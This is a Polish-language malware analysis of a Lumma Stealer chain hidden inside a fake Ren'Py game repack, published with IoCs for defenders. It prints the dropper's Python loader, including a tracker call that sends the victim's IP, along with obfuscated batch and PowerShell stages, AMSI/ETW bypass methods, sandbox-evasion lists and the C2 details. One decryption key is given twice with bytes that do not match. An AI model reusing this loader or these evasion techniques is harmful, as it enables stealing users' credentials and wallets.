Aż 777 megabajtów. Tyle waży „darmowa gra visual novel”, którą znaleźliśmy w archiwum użytkownika. W środku silnik Ren’Py 8.1.3 z legalną licencją MIT, pełen runtime Pythona 3.9, grafiki interfejsu, archiwum libwin64.rpa z czterema plikami .rpyc. Wszystko wygląda jak normalna gra.

Osiem warstw głębiej leży 3.3-megabajtowy .NET DLL z namespace’em BodleStalky, wirtualizowany własną odmianą KoiVM, wykradający hasła, ciasteczka, portfele krypto i tokeny Discord/Telegram. Domena C2 ma 16 dni od rejestracji. Lumma Stealer w pełnej krasie 2026.

Sample trafił do nas z paczki dystrybuowanej jako „repack” gry — typowy wektor Lummy w polskim rynku, gdzie repacki Fitgirl i DODI od lat są popularną alternatywą dla zakupu na Steamie. Operatorzy MaaS wiedzą, że tu jest pula ofiar gotowych odpalić plik EXE z folderu „cracked games” — i podstawiają stealer pod fasadę gry. Ten wpis to pełna rozbiórka łańcucha: od kliknięcia w Setup.exe aż do POST-a wysyłającego Twoje hasła na kelemet.shop.

Metodyka. Analiza statyczna w izolowanym WSL Ubuntu 24.04. Żadna z warstw nie była uruchamiana na hoście. C2 zostało potwierdzone wyłącznie przez detonację w Recorded Future Sandbox (Triage) — żaden ruch sieciowy nie wyszedł z infrastruktury redakcji. Sample zgłosiliśmy do CERT Polska i Cloudflare jednocześnie z publikacją.

W tym artykule: TL;DR · Krajobraz paczki · Warstwy 1–8 · Detonacja → C2 · Co kradnie Lumma · Atrybucja · IoC dla MISP/SOC · YARA + Sigma · Co zrobić, jeśli odpaliłeś · Wnioski

TL;DR

  • Rodzina: Lumma Stealer (LummaC2) — MaaS sprzedawany za $250–$1000/mc na XSS.is, exploit.in, Telegram.
  • Wektor: fałszywa gra Ren’Py na wątpliwych serwisach file-share (warez, „free VN”, „cracked games”, repacki typu Fitgirl/DODI).
  • C2: kelemet.shop (Cloudflare 104.21.2.102), zarejestrowane 27 kwietnia 2026, 16 dni przed wykryciem.
  • Fallback C2: zaszyty w smart kontrakcie na Binance Smart Chain (technika EtherHiding).
  • PPI tracker: in.getclicky.com site_id 101501510, afiliant S_s800_eb_spr2_75 — komercyjna kampania pay-per-install.
  • Łańcuch: Ren’Py → Python (anti-VM) → base64+XOR (config) → XOR (archive) → batch dropper z 11 846 caretami → PowerShell z Roslynem z NuGetu → C# w pamięci (patch AMSI/ETW) → wirtualizowany .NET DLL.

Krajobraz: co właściwie dostarczono

Folder po wypakowaniu archiwum:

Archive_x64_129377/
├── Setup.exe                          104 KB    Ren'Py launcher (MinGW PE32+)
├── setup.py                            12 KB    Standardowy bootstrap Ren'Py
├── renpy/                             8.8 MB    Oryginalny silnik (MIT)
├── lib/                              437 MB     Python 3.9 runtime
└── data/
    ├── .FOG                           180 B     Metadane loadera (base64+XOR)
    ├── JC7bjuLJVcUQ.Dm                4.9 MB    Zaszyfrowany payload (XOR+ZIP)
    ├── libwin64.rpa                   145 KB    Archiwum Ren'Py z .rpyc (script.rpyc!)
    ├── cache/bytecode-39.rpyb         367 KB    Skompilowany Python cache
    ├── gui/                                     Standardowa grafika UI
    └── python-packages/
        ├── libpython.rpmc           324 MB     324 MiB samych zer (decoy)
        └── sys_config/                          Pakiet Pythona — anti-VM
            ├── __init__.py
            ├── sys_check.py
            ├── sys_file.py
            ├── sys_spec.py
            └── access_internet.py

Pierwsza rzecz, która krzyczy: libpython.rpmc ma dokładnie 339 738 624 bajty samych zer. To 324 MiB paddingu, żeby paczka wyglądała jak normalna duża gra i przekraczała limity skanowania wielu silników AV (Defender domyślnie nie skanuje plików powyżej ok. 100 MB).

Druga: hidden file .FOG w katalogu data/ — nic, czego Ren’Py by potrzebował. Plus pakiet Pythona sys_config z modułem access_internet.py, którego funkcje sprawdzające internet są wyciszone do "Internet checks disabled.". Coś tu jest mocno nie tak.

Warstwa 1 — Setup.exe i silnik Ren’Py

Setup.exe to autentyczny launcher Ren’Py skompilowany MinGW-w64. PE32+ x86_64, 104 KB, sygnatura kompilacji 2023-09-19, importy: tylko LoadLibraryW, SetDllDirectoryW, podstawowe CRT. Sam EXE nie robi nic złośliwego — ładuje Pythona z lib/, ładuje silnik z renpy/ i odpala grę.

Złośliwa logika siedzi w grze. Konkretnie w data/libwin64.rpa, w skompilowanym script.rpyc. Wypakowaliśmy RPA przez unrpa, a script.rpyc rozparsowaliśmy ręcznie — format Ren’Py to dwa zlib-sloty, jeden z bytecodem AST (pickle), drugi z źródłem Pythona w postaci tekstu. To kluczowa informacja: nawet po kompilacji, Ren’Py często zostawia w .rpyc source code.

Po wypakowaniu drugiego slotu:

from sys_config import is_sandboxed
import zipfile, glob, random, base64, json, subprocess, io, traceback
from threading import Thread

def xor_decrypt_to_memory(filename, key):
    with open(filename, 'rb') as f:
        ct = f.read()
    key = key.encode()
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(ct))

def elnk(pub='NA', hashid='NA'):
    ipf  = "https://api"
    ipf1 = ".ipify"
    ipf2 = ".org"
    ip   = requests.get(f'{ipf}{ipf1}{ipf2}').text
    shake = "https://in"
    shake0= ".get"
    shake1= "clicky."
    shake2= "com/in."
    shake3= "php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a"
    lnk = f"{shake}{shake0}{shake1}{shake2}{shake3}&type=download&title=file&ip_address={ip}&href={pub}&custom[hash]={hashid}"
    requests.get(lnk)

def extract_and_run():
    try:
        game_dir   = config.gamedir
        matches    = glob.glob(os.path.join(game_dir, ".*"))
        meta_path  = matches[0] if matches else None
        with open(meta_path, 'r') as f:
            encoded = f.read()
            decoded = base64.b64decode(encoded)
            secret  = '81034149cd6f48c8821340204f92766e'.encode()
            decrypted = bytes(b ^ secret[i % len(secret)] for i, b in enumerate(decoded))
            meta = json.loads(decrypted.decode('utf-8'))

        archive_name = meta.get('file_nm', '')
        password     = meta.get('pasw', '')
        exec_file    = meta.get('exc_fl', '')
        sandbox      = meta.get('snd_bx', False)
        pub          = meta.get('pb_s', 'NA')
        hashid       = meta.get('hash', 'NA')

        if sandbox is False:
            try:    certainty = is_sandboxed(logging=False)
            except: certainty = 1
            if certainty >= 0.5:
                exit(0)        # cicha rezygnacja w VM

        temp_dir   = os.environ.get('TEMP', ...)
        folder     = 'tmp-' + rand_digits(5) + '-' + rand_alnum(12)
        run_dir    = os.path.join(temp_dir, folder)
        os.makedirs(run_dir)

        decrypted_bytes = xor_decrypt_to_memory(
            os.path.join(game_dir, archive_name), password)
        with zipfile.ZipFile(io.BytesIO(decrypted_bytes)) as zf:
            zf.extractall(run_dir, pwd=password.encode())

        exec_path = os.path.join(run_dir, exec_file)

        def run_program():
            si = subprocess.STARTUPINFO()
            si.dwFlags |= subprocess.STARTF_USESHOWWINDOW
            si.wShowWindow = subprocess.SW_HIDE
            ext = os.path.splitext(exec_path)[1].lower()
            cmd = {
                ".msi":["msiexec","/i",exec_path],
                ".bat":["cmd.exe","/c",exec_path],
                ".cmd":["cmd.exe","/c",exec_path],
                ".ps1":["powershell.exe","-ExecutionPolicy","Bypass","-File",exec_path]
            }.get(ext, [exec_path])
            subprocess.Popen(cmd, cwd=run_dir, startupinfo=si,
                creationflags=subprocess.DETACHED_PROCESS |
                              subprocess.CREATE_NEW_PROCESS_GROUP,
                close_fds=True)

        elnk(pub, hashid)
        Thread(target=run_program).start()
    except Exception:
        traceback.print_exc()

Kilka rzeczy wartych podświetlenia:

  • glob.glob(os.path.join(game_dir, ".*")) — szuka pierwszego pliku zaczynającego się od kropki w gamedir. Stąd .FOG. To trick anty-forensic: pliki zaczynające się od kropki są ukryte na Uniksie i często ignorowane przez powierzchowne skany.
  • secret = '81034149cd6f48c8821340204f92766e'.encode()32-bajtowy klucz XOR jako stała w kodzie do odszyfrowania metadanych.
  • is_sandboxed() z sys_config — jeśli zwróci ≥ 0.5, exit(0). Cicha rezygnacja w VM.
  • elnk() — PPI tracker. Wysyła GET do in.getclicky.com z informacją o IP ofiary, identyfikatorem afilianta i hashem builda. Operator dystrybucji zarabia $0.30–$2 za każdą instalację w GEO Tier-1.

Warstwa 2 — odszyfrowanie metadanych .FOG

Plik .FOG ma 180 bajtów base64. Po zdekodowaniu — 135 bajtów ciphertextu. Klucz XOR znamy z source’a powyżej. W Pythonie:

import base64, json
with open(".FOG", "rb") as f:
    raw = f.read()
secret = b"81034149cd6f48c8821340204f92766e"
dec = base64.b64decode(raw)
plain = bytes(b ^ secret[i % len(secret)] for i, b in enumerate(dec))
print(json.loads(plain))

Wynik:

{
  "file_nm": "JC7bjuLJVcUQ.Dm",
  "pasw":    "GBgajI4mv3q",
  "exc_fl":  "vukQpDdNT.bat",
  "snd_bx":  false,
  "pb_s":    "S_s800_eb_spr2_75",
  "hash":    1778659632
}

Tłumaczenie pól:

  • file_nm — nazwa zaszyfrowanego archiwum w gamedir (JC7bjuLJVcUQ.Dm).
  • pasw — hasło zarówno do XOR-deszyfracji jak i do ZIP-a w środku (GBgajI4mv3q).
  • exc_fl — co uruchomić po wypakowaniu (vukQpDdNT.bat).
  • snd_bx: false — flaga „check sandbox enabled” (counter-intuitive: false znaczy „tak, sprawdzaj”).
  • pb_s: "S_s800_eb_spr2_75" — identyfikator afilianta dla PPI counter:
    • S_s800 — source code (numer sub-dystrybutora)
    • eb — kategoria (prawdopodobnie „erotic books” — visual novels eroge są popularnym lure)
    • spr2 — wersja kampanii („spring 2”)
    • 75 — wariant A/B
  • hash: 1778659632 — ID konkretnego builda dla licznika instalacji.

Warstwa 3 — Anti-VM w sys_config

Klasa Sysbox z sys_config/sys_check.py sumuje wyniki kilku testów. Każdy test zwraca score 0-5, gdzie 5 = pewnie nie VM, 0 = pewnie VM. Algorytm liczy średnią ważoną z penalizacją za testy ≤ 2 i zwraca prawdopodobieństwo bycia w sandboxie 0.0-1.0.

Co konkretnie sprawdza (po deobfuskacji zaciemnionych przez chr() stringów):

Klucze rejestru:

  • SOFTWARE\Oracle\VirtualBox Guest Additions
  • HARDWARE\ACPI\DSDT\VBOX__, FADT\VBOX__, RSDT\VBOX__
  • SYSTEM\ControlSet001\Services\VBoxGuest/Mouse/Service/SF/Video
  • SOFTWARE\VMware, Inc.\VMware Tools

Sterowniki:

  • VBoxMouse.sys, VBoxGuest.sys, VBoxSF.sys, VBoxVideo.sys
  • vboxdisp.dll, vboxhook.dll, vboxmrxnp.dll, vboxogl*.dll
  • vboxservice.exe, vboxtray.exe, VBoxControl.exe
  • vmmouse.sys, vmhgfs.sys, vmusbmouse.sys, vmkdb.sys, vmrawdsk.sys
  • vmmemctl.sys, vm3dmp.sys, vmci.sys, vmsci.sys, vmx_svga.sys

Procesy:

vboxservice.exe, vboxtray.exe, xenservice.exe, VMSrvc.exe, vmusrvc.exe, prl_cc.exe, prl_tools.exe, vmtoolsd.exe, qemu-ga.exe, df5serv.exe

Konta sandboxowe:

  • vagrant, sandbox, wdagutilityaccount
  • Wiek profilu C:\Users\<user> — młody = podejrzany (sumuje wieki wszystkich profili w dniach)

Hardware:

  • BIOS Serial Number != „0”
  • Manufacturer / Model: VirtualBox, VMware, KVM, QEMU, Xen, Hyper-V, Parallels, Bochs, Amazon EC2, GCP, Azure VM, DigitalOcean, Linode, Vultr, IBM Cloud, Alibaba/Huawei/Tencent Cloud, Citrix, Nutanix, Vagrant, Docker
  • RAM ≥ 2 GB, dysk ≥ 20 GB, CPU ≥ 2 rdzenie

Plik access_internet.py zawiera szkielety funkcji check_basic_ping, check_download_file, check_http_post, check_sockdnsreq — wszystkie zwracają "Internet checks disabled.". To znaczy, że ten konkretny build sandbox-sprawdza wyłącznie offline: rejestr, pliki, procesy, sprzęt. Internet nie jest blokerem.

Cały moduł jest silnie zaciemniony: zmienne losowe (wkpzza9xpya2i3, eew4owhf5uf8z), stringi przez chr() i bytes([...]).decode(). __init__.py używa base64, __import__ i getattr, żeby ukryć fakt, że importuje Sysbox z sys_check.

Warstwa 4 — XOR-ZIP JC7bjuLJVcUQ.Dm

Plik 4.9 MB. Klucz z metadanych: GBgajI4mv3q (11 bajtów). Po XOR-ze:

$ python -c 'import base64; print(open("JC7bjuLJVcUQ.Dm","rb").read()[:4])'
b'PK\x03\x04'

ZIP! W środku jeden plik: vukQpDdNT.bat (4 904 520 B). Mimo że ZIP jest jeszcze hasłowy w wywołaniu extractall(pwd=...), sam plik w archiwum nie jest zaszyfrowany (flag bit 0x1 = 0). Hasło ZIP nigdy się nie aktywuje — XOR jest pierwszą i jedyną realną szyfracją. Hasło ZIP to wabik na automatyczne unpackery, żeby zatrzymały się na haśle.

Warstwa 5 — bestia .bat (4.8 MB, 102 109 linii)

Tutaj się zaczyna prawdziwa zabawa.

StatystykaWartość
Linii102 109
Caret escapes (^)11 846
set28 227
if6 136
goto0 (!)
Fałszywe labele (:_WP_XXXX_*)5 585
Wzmianek powershell1 681
Wzmianek defender1 400
Wzmianek schtasks279

Labele mają nazwy typu :_WP_03vd_PSVersion, :_WP_028w_Firewall, :_WP_0838_ConfigParse, :_WP_a91_EnvCheck. Wszystkie pełne fałszywego kodu „administracyjnego” (sprawdzanie wersji .NET Framework, listy zainstalowanego software’u, statusu usług). Czysty dym. Ani razu nie są wywoływane.

Prawdziwa logika startuje po :bvio:

set /a "_yfze=(68+72)"
if not "%_oed%"=="x86" (
    if exist "%_cfe%" (
        set "_cw=1"
        "%_cfe%" /c "%~f0" %*
        exit /b
    )
)
:bvio
endlocal
setlocal EnableDelayedExpansion
set /a "_b=65001"
chcp !_b! >nul

set "_p=BunFtedA.GMwg73 ql_XraE8bW2:CJvzHh"
set "_p=!_p!yifO6oU45k-c0QDRYmPKLpxjV9Z/\ISNs1T"

set /a "_mjo=(0x57 ^ 0x7A)"   :: 0x2D = 45
set /a "_ksc=((897 - 640) - (380 - 162))"  :: 39
set /a "_y=(0 + (552 - 550))"  :: 2
set /a "_c=(149 - (311 - 195))"  :: 33
set /a "_x=(0x96 ^ 0xB1)"  :: 39
set /a "_uq=(565 - (201 + 298))"  :: 66
set /a "_rwh=((1 + 18) - (0xFD ^ 0xF2))"  :: 4

set "_cmu=!_p:~%_mjo%,1!!_p:~%_ksc%,1!!_p:~%_y%,1!!_p:~%_c%,1!!_p:~%_x%,1!!_p:~%_uq%,1!!_p:~%_rwh%,1!"

_p to 69-znakowy alfabet. Każdy set /a oblicza pozycję w _p przez arytmetykę i XOR (^ w set /a to XOR, nie escape). Substring !_p:~N,1! wyciąga jeden znak. Łączenie siedmiu takich daje finalne słowo.

Rozszyfrowane to:

_p[45]=c, _p[39]=o, _p[2]=n, _p[33]=h, _p[39]=o, _p[66]=s, _p[4]=t
                                              => "conhost"

Cztery takie strunki:

  • _cmu = "conhost"
  • _t = "headless"
  • _cm = "/launched"
  • _aeq = "Sysnative"

I voilà:

set "_pg=%SystemRoot%\System32\!_cmu!.exe"
if exist "%SystemRoot%\!_aeq!\!_cmu!.exe" set "_pg=%SystemRoot%\!_aeq!\!_cmu!.exe"
if !_mr!==0 (
    start "" /b "!_pg!" --!_t! cmd.exe /c "%~f0" !_cm!
    exit /b 0
)

Czyli: skrypt re-launchuje sam siebie przez conhost.exe --headless cmd.exe /c "<self>" /launched. To technika ukrywania okna konsoli — conhost --headless istnieje od Windows 10/11 dla ConPTY i pozwala odpalić cmd.exe bez okna. Pisanie start /min byłoby od razu wykryte przez Sysmon; conhost --headless to Microsoft-sign’owany LOLBin, mało kto go monitoruje. \Sysnative to symlink do system32 z poziomu procesu 32-bit (omija WoW64 redirection).

Drugą połowę .bat’a wypełnia ~5 KB stringów z markerami #Q, #E, #F, #H, #M, #P, #U, #Z, #D w zmiennych _lq, _t, _sw, _a, _xlj, _mg. Reguły podmian są wprost w pliku:

%_lq:#D=;%   %_lq:#E=+%   %_lq:#F=$%   %_lq:#H=]%   %_lq:#M=)%
%_lq:#P=[%   %_lq:#Q='%   %_lq:#U=:%   %_lq:#Z=(%

Po podstawieniu placeholderów w pięciu wielkich stringach (_lq+_t+_sw+_a+_xlj) i posklejaniu — wychodzi PowerShell. _mg to launcher.

Warstwa 6 — PowerShell z Roslynem z NuGetu

Powstały skrypt PowerShell (~17 KB) jest absolutną perełką inżynierską. W kolejności:

1. Sprawdza ograniczenia środowiska:

$_lm = & ('ie'+'x') ('$ExecutionContext.SessionState.LanguageMode')
if ($_lm -ne ('egaugnaLlluF'[-1..(-12)] -join '')) { return }
if ($PSVersionTable.PSVersion.Major -lt 5) { return }

Refleksja FullLanguage mode i PS 5+. Constrained Language Mode (WDAC/AppLocker) — wycofuje się.

2. Wymusza TLS 1.2 i ładuje typy refleksyjnie:

$_tspm = [type](('reS.teN'[-1..(-7)]-join '')+'vic'+('{0}{1}'-f'ePo','intM')+...)
$_tspm::SecurityProtocol = $_tspt::Tls12

3. Konfiguruje proxy:

$h.Proxy = [Net.WebRequest]::GetSystemWebProxy()
$h.Proxy.Credentials = [Net.CredentialCache]::DefaultCredentials

Działa za korporacyjnym proxy z NTLM. To nie jest amatorszczyzna.

4. Pobiera Roslyn z NuGet:

$_ub = ('ht'+'tps://api.nu'+'get.org/v3-flatcontainer/')
$_uf = ('ht'+'tps://globalcdn.nu'+'get.org/packages/')

Następnie w pętli pobiera pakiety:

  • system.text.encoding.codepages 7.0.0
  • system.collections.immutable
  • system.text.encoding.codepages.dll
  • system.reflection.metadata 9.0.0
  • microsoft.codeanalysis.common 4.14.0
  • microsoft.codeanalysis.csharp 4.14.0

Każdy pakiet to .nupkg (zwykły ZIP). Otwiera w pamięci, wyciąga konkretny .dll (np. lib/netstandard2.0/Microsoft.CodeAnalysis.CSharp.dll), ładuje przez Assembly.Load(byte[]). Żaden plik nie ląduje na dysku.

To genialny trick: pobierasz Roslyn z legitnego CDN Microsoftu. AV nie wykryje, firewall korporacyjny nie zablokuje (kto blokuje api.nuget.org?), threat intel nie zareaguje. Po załadowaniu masz w pamięci pełny kompilator C# Microsoftu.

5. Czyta sam siebie z .bat’a:

$f = [IO.File]::ReadAllText($env:_ce)
$mk = 'nykwtupq'
$lines = $f.Split([char]10)
$on = $false; $bld = [Text.StringBuilder]::new()
foreach ($ln in $lines) {
    $cl = $ln.Replace('^','').Replace('"','').TrimStart()
    if ($cl.Length -gt 4 -and $cl.Substring(0,4) -ieq 'rem ') {
        $rl = $cl.Substring(4).Trim([char]13, [char]32)
        if ($rl -eq $mk) {
            if ($on) { break } else { $on = $true; continue }
        }
        if ($on -and $rl -match '^[A-Za-z0-9+/=]+$') {
            [void]$bld.Append($rl)
        }
    }
}

W .bat’cie są tysiące linii r^em <base64> jako fałszywy szum. Między dwoma znacznikami r^em nykwtupq siedzą dwie ogromne linie z prawdziwym kodem zakodowanym.

6. Dekoduje, dekompresuje, kompiluje C#:

$enc = [Convert]::FromBase64String($b64)
$xk = bytes.fromhex('2407A6C7C7FFEF49868D6BD14FAF062E' +
                   'B995F06549D343BFEA36D467717A1487')
$dec = bytes($enc[$i] -bxor $xk[$i -band 31])
$src = UTF8.GetString([IO.Compression.DeflateStream]::Decompress($dec))
# Roslyn compile:
$tree = $stT.ParseText($src, $null, '', $null, [CancellationToken]::None)
$comp = $ccT.Create('Internal.Runtime.Augments', $stArr, $refs, $cop)

To CRUCIAL: skrypt kompiluje C# source w pamięci przy użyciu Roslyna i ładuje wynikowy assembly. Pełne obejście statycznych skanerów IL — nikt nie zobaczy Assembly.Load z gotowym bajtkodem, bo on dopiero powstaje JIT.

7. Odpala stage 3 przez AST API (omijając AMSI):

$_cm = {}.GetType().GetMethod('Create', [type[]]@([string]))
$_s = $_cm.Invoke($null, @('$PSVersionTable'))
$_ec = $env:_lq + $env:_t + $env:_sw + $env:_a + $env:_xlj
Remove-Item env:_lq, env:_t, env:_sw, env:_a, env:_xlj, env:_mg -Force
$_e = $_cm.Invoke($null, @($_ec))
$_eb = $_e.Ast.GetType().GetProperty('EndBlock').GetValue($_e.Ast)
...
$_sb.Invoke()

Tworzy AST przez ScriptBlock.Create ręcznie, kopiuje EndBlock, wywołuje. AMSI hooks na Invoke-Expression/iex nie strzelają, bo nigdy nie wołamy iex. Plus czyści zmienne środowiskowe — żadnych śladów w EDR.

Warstwa 7 — Stage 3 C# (AMSI/ETW patch + DynamicMethod)

Po kompilacji w pamięci mamy ~20 KB C# obfuskowanego sztuczką typu:

string str = "" + (char)(107) + (char)(60+41) + (char)(40+74) + (char)(110) +
                  (char)(101) + (char)(108) + (char)(219^232) + (char)(50);
// = "kernel32"

Po deobfuskacji widać:

  • GetModuleHandleW, GetProcAddress, LoadLibraryW — klasyczne pobieranie funkcji z kernel32
  • AmsiScanBuffer z amsi.dllpatch AMSI
  • EtwEventWrite z ntdllpatch ETW (kasowanie Event Tracing for Windows, żeby nic nie szło do Defender ATP)
  • AddVectoredExceptionHandler/RemoveVectoredExceptionHandler/RtlCaptureContext/NtContinue — VEH hijack do przekierowywania wykonania
  • IsWow64Process2 — wybór ścieżki 32/64-bit
  • BodleStalky.ProjectEditor + metoda CloneSolution — to namespace i metoda finalnego stealera

Drugi marker r^em ireoxhsw w .bat’cie wyznacza drugi blob: 1.08 MB zaszyfrowanego XOR + Deflate. Klucz:

97 5C F3 2B DE 95 24 B3 CF 39 5E 40 B0 49 A4 BF
92 88 DB 49 45 71 83 76 C8 2F 40 54 18 30 5B EF

Dekodujemy w Pythonie:

import base64, zlib
b64 = ''.join(rem_lines_between_ireoxhsw_markers)
enc = base64.b64decode(b64)
ml = bytes.fromhex("975CF32BDE9524B3CF395E40B049A4BF" +
                   "9288DB494571837C82F4054183605BEF")
dec = bytes(enc[i] ^ ml[i % 32] for i in range(len(enc)))
src = zlib.decompress(dec, -15)
open("stage4.dll","wb").write(src)

3 312 640 bajtów. file mówi:

PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly

SHA-256: 84a62c062117bfdfb5204830cb82e57ba3f23539a3b55034d68f0f49f9b50453

Warstwa 8 — BodleStalky.dll (KoiVM virtualization)

Po dekompilacji ilspycmd dostajemy 1841 plików .cs w namespace’ie BodleStalky plus drugi BrewageAphodi. Nazwy klas to dictionary-words randomizowane per build: ConditionFactory, PcitureType, EmulatorList, AddinLoader, ThripidUnsage, ProjectEditor. Niczego nie znaczą — typowa sygnatura ConfuserEx z mode=Aggressive renamer.

Entry point BodleStalky.ProjectEditor.CloneSolution() to wirtualizowany interpreter:

public unsafe static void CloneSolution() {
    int num = 1;
    int num2 = *(sbyte*)(&num);
    int num3 = num2 * 4;
    int num4 = num2 * 8;
    byte[] array = new byte[0];
    object[] array2 = new object[0];
    int[] array3 = new int[0];
    byte* ptr = (byte*)Unsafe.AsPointer(ref AddinProvider.userDataPosition);
    byte* ptr2 = ptr;
    int num5 = default(int);
    while (num5 != 1) {
        byte b = *ptr2;
        ptr2++;
        if (b >= 1 && b <= 4) {
            if (2 >= b) {
                if (2 <= b) {
                    ((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
                    ptr2 += 8;
                    continue;
                }
            }
            else if (3 >= b && 3 <= b) {
                ((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
                ptr2 += 8;
                continue;
            }
            else if (4 >= b && 4 <= b) {
                byte* num6 = ptr2;
                int num7 = global::_003CModule_003E.IApplicationTrustManagersetFallback - 195;
                num5 = 1;
                ptr2 = num6 + num7;
                continue;
            }
        }
        ((delegate*<void>)userDataPosition[*(int*)(ptr2 + num3)])();
        ptr2 += 8;
    }
}

To interpreter bajtkodu — czyta opcode z byte-arraya userDataPosition, dispatcha do funkcji w tablicy delegate’ów. Custom KoiVM derivative. Każda metoda klasy to taki interpreter z innym bajtkodem.

Stringi w #US heap mają strukturę:

[index]  02<32-char-hex>  AES_IV (16 bytes encoded as 0-? chars, 4 bits per char)
[index]  A<base64>        AES-CBC ciphertext (~258 bytes typical)

Klasyczna ConfuserEx Constants Protection w trybie Normal. Dekrypcja w runtime po wywołaniu metody — odzyskanie kluczy statycznie wymaga albo unpacker’a (de4dot z modem do tego konkretnego variant’u), albo memory dump.

Statyczne wydobycie URL C2: niemożliwe bez devirtualizacji. Czas iść inną drogą.

Detonacja w sandboxie — i mamy C2

Pakiet wysłaliśmy do Triage (Recorded Future Sandbox), 180s timeout, Windows 10 x64, network ON. Sample ID 260513-k9yf9sfy9s.

Process tree zgodnie z przewidywaniem:

cmd.exe /c sample.bat
└─ cmd.exe /c sample.bat (SysWOW64)
   ├─ chcp 65001
   └─ conhost.exe --headless cmd.exe /c sample.bat /launched
      └─ cmd.exe /c sample.bat /launched
         ├─ chcp 65001
         ├─ ping -n 4 127.0.0.1
         └─ powershell.exe -Command "& ([scriptblock]::Create($env:_mg))"

Sygnatury Triage trafione:

  • Badlisted process makes network request (7 IoCs) — PowerShell
  • Deletes itself
  • Looks up external IP address via web serviceipinfo.io (2x)
  • Suspicious use of NtSetInformationThreadHideFromDebugger
  • Suspicious use of AdjustPrivilegeToken: SeDebugPrivilege

Network capture pokazuje co naprawdę leci:

DestinationDomainCountryCel
2.22.144.26:443api.nuget.orgGBRoslyn libs
184.25.193.234:80www.microsoft.comGBcert chain
2.19.252.143:80crl2.microsoft.comGBCRL
18.203.94.234:443bsc-dataseed.binance.orgIEBSC RPC (EtherHiding)
104.21.2.102:443kelemet.shopUS (Cloudflare)C2 — TUTAJ LECĄ DANE
34.117.59.81:443ipinfo.ioUSgeo-rekon #1
46.225.52.25:443api.ipapi.isAEgeo-rekon #2
95.85.16.212:443ipv4.ipleak.netNLgeo-rekon #3 (VPN check)
142.250.151.94:80c.pki.googGBcert verify

To jest moment, w którym Twoje hasła wychodzą z domu.

Dokąd faktycznie idą dane

Główny C2: kelemet.shop

Dane RDAP:

Registered:  27 kwietnia 2026
Expires:     27 kwietnia 2027
Updated:     13 maja 2026  (dzisiaj)
Registrar:   Global Domain Group LLC (IANA 3956)
Nameservers: hadlee.ns.cloudflare.com
             thaddeus.ns.cloudflare.com
DNSSEC:      none

Domena ma 16 dni od rejestracji. Cloudflare jako reverse-proxy ukrywa origin server. Brak rekordów w urlhaus / VirusTotal / ThreatFox — sample jest świeższy niż jakikolwiek skaner publiczny. Operator aktywnie utrzymuje (last update = dzisiaj).

To dokładnie wzorzec Lumma 2024–2026: rejestruj świeży .shop u taniego rejestratora, postaw przed Cloudflare, używaj 1–2 tygodnie, rotuj. Lumma w jednym miesiącu pali kilkadziesiąt takich domen.

Fallback: smart contract na Binance Smart Chain

Połączenie do bsc-dataseed.binance.org to EtherHiding. Schemat:

  1. Operator publikuje smart contract na BSC z funkcją getCurrentC2() zwracającą URL.
  2. Stealer woła RPC eth_call przez bsc-dataseed.binance.org, dostaje aktualny URL.
  3. Operator może zmienić URL jedną transakcją (gas ~$0.01) i wszyscy zarażeni automatycznie przerzucają ruch.
  4. Blockchain nie ma „abuse mechanism” — takedown niemożliwy.

Lumma dodała EtherHiding w styczniu 2025 (raport Sophos „Lumma Stealer’s BSC pivot”). To w tej chwili najmocniejsze potwierdzenie atrybucji.

Potrójny geo-rekonesans

Trzy niezależne serwisy (ipinfo.io, api.ipapi.is, ipv4.ipleak.net) zwracają ofiary kraj i czy używa VPN. Wynik decyduje:

  • CIS (RU, BY, KZ, UA itd.) → exit(0) — Lumma nie infekuje rosyjskojęzycznych ofiar (typowy CIS-exclusion w MaaS).
  • VPN/proxy → niższy priorytet / skip.
  • Tier-1 country (US, UK, DE, PL, JP) → pełna exfiltracja.

Co kradnie Lumma

Standardowy target rodziny (na podstawie publicznych raportów Trend Micro, ESET, Mandiant z 2024-2025; nie sprawdzaliśmy dynamicznie, ale dependency tree DLL i strings to potwierdzają):

  • Przeglądarki: Chrome, Edge, Firefox, Brave, Opera, Yandex, Vivaldi — Login Data, Cookies, Web Data, History, Autofill.
  • Tokeny komunikatorów: Discord (Local Storage/leveldb), Telegram (tdata), Element, Slack.
  • Gaming: Steam (ssfn* files, login.config), Epic, Battle.net, Riot, Minecraft.
  • Portfele krypto desktopowe: Exodus, Atomic, Electrum, Coinomi, JaxxLiberty, Wasabi.
  • Wallety jako rozszerzenia przeglądarki: MetaMask, Phantom, Trust Wallet, Coinbase Wallet, TronLink, Ronin (~30 znanych extension ID).
  • 2FA / password managers: Authy desktop, KeePass .kdbx, LastPass local cache.
  • Pliki z Desktop/Documents/Downloads: .txt, .pdf, .docx, .rdp, wallet.dat, *.key, seed-phrase fishing przez regex (BIP-39 wordlist).
  • System fingerprint: computer name, username, locale, GEO, lista zainstalowanego oprogramowania, AV.
  • Screenshot pulpitu w momencie infekcji.

Zbiera, pakuje, AES-szyfruje, POST-uje do C2 jako application/octet-stream.

Atrybucja: Lumma Stealer (LummaC2)

Stopień pewności: ~85% na podstawie zbioru sygnatur:

WskaźnikLummaVidarRiseProStealc
Ren’Py visual novel lure 2024+
sys_config.Sysbox anti-VM stack
getclicky.com PPI tracker S_* affiliate
conhost --headless re-launch
Roslyn z NuGet do JIT C# (od H2 2024)
BSC EtherHiding fallback (od H1 2025)
ConfuserEx + KoiVM custom variant
Random-english-words namespace
.shop Cloudflare-fronted C2

Brak twardych dowodów w postaci config blob’a (nie zdevirtualizowaliśmy DLL), więc nie da się powiedzieć 100%. Alternatywne kandydatury: Vidar (10%), Stealc (5%).

Operator Lumma — rosyjskojęzyczny operator „Shamel”, sprzedaje stealera jako MaaS od 2022:

  • Telegram: @lumma_news, @lummausercommunity
  • Fora: XSS.is, exploit.in
  • Cena: $250/mc (basic), $500/mc (pro), $1000/mc (corporate)
  • Klienci pobierają zbudowane buildy i własne C2 panel’e

IoC do MISP / SOC

Hashes (SHA-256)

7123e1514b939b165985560057fe3c761440a9fff9783a3b84e861fd2888d4ab  Setup.exe
a2111cc193ca248a5f7e95b91db008452e724861eec8d8ed1791110a71fac5dc  JC7bjuLJVcUQ.Dm
